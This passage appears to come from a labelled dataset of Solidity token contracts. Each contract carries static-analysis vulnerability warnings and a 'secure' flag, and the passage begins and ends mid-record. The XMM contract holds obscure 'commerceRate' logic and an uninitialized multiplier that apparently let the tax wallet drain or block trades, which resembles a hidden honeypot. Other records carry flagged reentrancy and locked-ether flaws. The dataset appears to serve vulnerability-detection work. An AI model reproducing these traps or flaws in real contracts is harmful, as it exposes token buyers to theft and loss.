_balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x2269774Ea9E4CD6B5309BC79C3049226B2F78925);\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 9;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cbc2eb0): BULLL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cbc2eb0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ee4cd2f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ee4cd2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6736981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6736981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ee4cd2f\n\t\t// reentrancy-benign | ID: 6736981\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ee4cd2f\n\t\t// reentrancy-benign | ID: 6736981\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 73ef4b4): BULLL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 73ef4b4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6736981\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ee4cd2f\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = true;\n\n lastLiquifyTime = uint64(block.number);\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 63eb988): BULLL.changeMaxSwapbackThreshold(uint128) should emit an event for maxSwap = newMaxSwapThreshold * 1e18 \n\t// Recommendation for 63eb988: Emit an event for critical parameter changes.\n function changeMaxSwapbackThreshold(\n uint128 newMaxSwapThreshold\n ) external onlyOwner {\n require(\n newMaxSwapThreshold * 1e18 > minSwap,\n \"Max Swap cannot be less than min swap\"\n );\n\n\t\t// events-maths | ID: 63eb988\n maxSwap = newMaxSwapThreshold * 1e18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ef58f64): BULLL.changeMinSwapbackThreshold(uint128) should emit an event for minSwap = newMinSwapThreshold * 1e18 \n\t// Recommendation for ef58f64: Emit an event for critical parameter changes.\n function changeMinSwapbackThreshold(\n uint128 newMinSwapThreshold\n ) external onlyOwner {\n require(\n newMinSwapThreshold * 1e18 < maxSwap,\n \"Min Swap cannot be greater than max swap\"\n );\n\n\t\t// events-maths | ID: ef58f64\n minSwap = newMinSwapThreshold * 1e18;\n }\n\n function changeMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Zero Address\");\n\n marketingWallet = payable(newWallet);\n\n emit NewMarketingWallet(newWallet);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0112245): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0112245: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d5af89d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d5af89d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (amount <= 1e9) {\n _balance[from] -= amount;\n\n unchecked {\n _balance[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 _tax;\n\n if (from == owner() || to == owner()) {\n _tax = 0;\n } else {\n require(\n launch && amount <= maxTxAmount,\n \"Launch / Max TxAmount 2% at launch\"\n );\n\n if (inSwapAndLiquify == true) {\n _balance[from] -= amount;\n\n unchecked {\n _balance[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (\n tokensToSwap > minSwap &&\n !inSwapAndLiquify &&\n lastLiquifyTime != uint64(block.number)\n ) {\n if (tokensToSwap > maxSwap) {\n\t\t\t\t\t\t// reentrancy-events | ID: 0112245\n\t\t\t\t\t\t// reentrancy-no-eth | ID: d5af89d\n swapback(maxSwap);\n }\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: d5af89d\n _balance[from] -= amount;\n\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: d5af89d\n _balance[to] += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d5af89d\n _balance[address(this)] += taxTokens;\n }\n\n\t\t\t// reentrancy-events | ID: 0112245\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 0112245\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: d5af89d\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: d5af89d\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 0112245\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 08a31fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 08a31fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapback(uint256 tokensToSwap) internal {\n inSwapAndLiquify = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: ee4cd2f\n\t\t// reentrancy-events | ID: 0112245\n\t\t// reentrancy-benign | ID: 6736981\n\t\t// reentrancy-benign | ID: 08a31fb\n\t\t// reentrancy-no-eth | ID: d5af89d\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n )\n {} catch {}\n\n\t\t// reentrancy-benign | ID: 08a31fb\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: 08a31fb\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7c5bf92): Contract locking ether found Contract BULLL has payable functions BULLL.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 7c5bf92: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n event NewMarketingWallet(address wallet);\n}",
"file_name": "solidity_code_1226.sol",
"secure": 0,
"size_bytes": 12288
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract XMM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67330a2): XMM._taxWallet should be immutable \n\t// Recommendation for 67330a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c6a831): XMM._initialBuyTax should be constant \n\t// Recommendation for 7c6a831: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ecff2c): XMM._initialSellTax should be constant \n\t// Recommendation for 1ecff2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee49320): XMM._finalBuyTax should be constant \n\t// Recommendation for ee49320: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca5d0e2): XMM._finalSellTax should be constant \n\t// Recommendation for ca5d0e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b75642): XMM._reduceBuyTaxAt should be constant \n\t// Recommendation for 9b75642: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfa847a): XMM._reduceSellTaxAt should be constant \n\t// Recommendation for bfa847a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8771f3d): XMM._preventSwapBefore should be constant \n\t// Recommendation for 8771f3d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mainstream Media X\";\n\n string private constant _symbol = unicode\"X-MM\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d77643e): XMM._taxSwapThreshold should be constant \n\t// Recommendation for d77643e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c45a2d2): XMM._maxTaxSwap should be constant \n\t// Recommendation for c45a2d2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n struct CommerceRateRecord {\n uint256 comToken;\n uint256 convToken;\n uint256 comTotal;\n }\n\n mapping(address => CommerceRateRecord) private commerceRate;\n\n IUniswapV2Router02 private _router;\n\n address private _uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: ef7056d): XMM.initialComRate should be constant \n\t// Recommendation for ef7056d: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d101b4c): XMM.initialComRate is never initialized. It is used in XMM._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for d101b4c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initialComRate;\n\n uint256 private finalComRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0xFD3257798e8FFCbE84e1Ff846D29F5b2353e3Fc3);\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b7ff14): XMM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b7ff14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e7d062): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e7d062: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91121de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91121de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e7d062\n\t\t// reentrancy-benign | ID: 91121de\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e7d062\n\t\t// reentrancy-benign | ID: 91121de\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ccf4b8): XMM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ccf4b8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 91121de\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e7d062\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb42762): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb42762: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 682c349): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 682c349: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 642e91b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 642e91b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniPair &&\n to != address(_router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: eb42762\n\t\t\t\t// reentrancy-benign | ID: 682c349\n\t\t\t\t// reentrancy-eth | ID: 642e91b\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: eb42762\n\t\t\t\t\t// reentrancy-eth | ID: 642e91b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 682c349\n finalComRate = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to == _uniPair) {\n CommerceRateRecord storage rateInfo = commerceRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 682c349\n rateInfo.comTotal = rateInfo.comToken - finalComRate;\n\n\t\t\t\t// reentrancy-benign | ID: 682c349\n rateInfo.convToken = block.timestamp;\n } else {\n CommerceRateRecord storage toRateInfo = commerceRate[to];\n\n if (_uniPair == from) {\n if (toRateInfo.comToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 682c349\n toRateInfo.comToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n CommerceRateRecord storage rateInfo = commerceRate[from];\n\n if (\n !(toRateInfo.comToken > 0) ||\n rateInfo.comToken < toRateInfo.comToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 682c349\n toRateInfo.comToken = rateInfo.comToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: eb42762\n\t\t// reentrancy-eth | ID: 642e91b\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d101b4c): XMM.initialComRate is never initialized. It is used in XMM._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for d101b4c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initialComRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 642e91b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: eb42762\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 642e91b\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 642e91b\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: eb42762\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: eb42762\n\t\t// reentrancy-events | ID: 6e7d062\n\t\t// reentrancy-benign | ID: 682c349\n\t\t// reentrancy-benign | ID: 91121de\n\t\t// reentrancy-eth | ID: 642e91b\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: eb42762\n\t\t// reentrancy-events | ID: 6e7d062\n\t\t// reentrancy-eth | ID: 642e91b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a1434e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a1434e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b8281b6): XMM.openTrading() ignores return value by IERC20(_uniPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for b8281b6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5451ef7): XMM.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5451ef7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 92a4d05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 92a4d05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a1434e8\n\t\t// reentrancy-no-eth | ID: 92a4d05\n _uniPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: 92a4d05\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: a1434e8\n\t\t// unused-return | ID: 5451ef7\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a1434e8\n\t\t// unused-return | ID: b8281b6\n IERC20(_uniPair).approve(address(_router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: a1434e8\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function transfCaEth() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1227.sol",
"secure": 0,
"size_bytes": 20267
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}",
"file_name": "solidity_code_1228.sol",
"secure": 1,
"size_bytes": 324
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDexV2Router {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1229.sol",
"secure": 1,
"size_bytes": 426
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Dancingwolf is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 1d0fc84): dancingwolf.maxSupply should be constant \n\t// Recommendation for 1d0fc84: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 100000000 * 1e18;\n\n constructor() ERC20(\"The Dancing Wolf\", \"Wolf\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_123.sol",
"secure": 1,
"size_bytes": 612
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDexV2Factory.sol\" as IDexV2Factory;\nimport \"./IDexV2Router.sol\" as IDexV2Router;\n\ncontract HashKode is ERC20, Ownable {\n address public kodeFundWallet = 0x05Cdebb11D4AC7c0b97453De3D5B105EfB67206C;\n\n address public operationsWallet =\n 0x43Ffc2895753850C6D37A277AdECEb09345d626e;\n\n\t// WARNING Optimization Issue (constable-states | ID: 72f6d4b): HashKode.maxBuySellLimit should be constant \n\t// Recommendation for 72f6d4b: Add the 'constant' attribute to state variables that never change.\n uint256 public maxBuySellLimit = 1 * 10 ** 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 657b1e0): HashKode.maxWalletLimit should be constant \n\t// Recommendation for 657b1e0: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletLimit = 2 * 10 ** 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0d95c6): HashKode.kodeFundTax should be constant \n\t// Recommendation for a0d95c6: Add the 'constant' attribute to state variables that never change.\n string public kodeFundTax = \"1.5%\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d78f954): HashKode.operationsTax should be constant \n\t// Recommendation for d78f954: Add the 'constant' attribute to state variables that never change.\n string public operationsTax = \"0.5%\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f81761e): HashKode._kodeFundTax should be constant \n\t// Recommendation for f81761e: Add the 'constant' attribute to state variables that never change.\n uint8 private _kodeFundTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a134470): HashKode._operationsTax should be constant \n\t// Recommendation for a134470: Add the 'constant' attribute to state variables that never change.\n uint8 private _operationsTax = 5;\n\n bool private _inSwapAndLiquify;\n\n mapping(address => bool) public isExcludedFromTax;\n\n mapping(address => bool) public isExcludedFromMaxBuySellLimit;\n\n mapping(address => bool) public isExcludedFromMaxWalletLimit;\n\n mapping(address => bool) public dexPairStatus;\n\n mapping(address => address) public pairToRouter;\n\n mapping(address => address) public routerToPair;\n\n event TaxExclusionUpdated(address indexed account, bool indexed status);\n\n event MaxWalletLimitExclusionUpdated(\n address indexed account,\n bool indexed status\n );\n\n event MaxBuySellLimitExclusionUpdated(\n address indexed account,\n bool indexed status\n );\n\n event KodeFundWalletChanged(\n address indexed oldWallet,\n address indexed newWallet\n );\n\n event OperationsWalletChanged(\n address indexed oldWallet,\n address indexed newWallet\n );\n\n event NewRouterAdded(\n address indexed routerAddress,\n address indexed pairAddress\n );\n\n modifier lockTheSwap() {\n _inSwapAndLiquify = 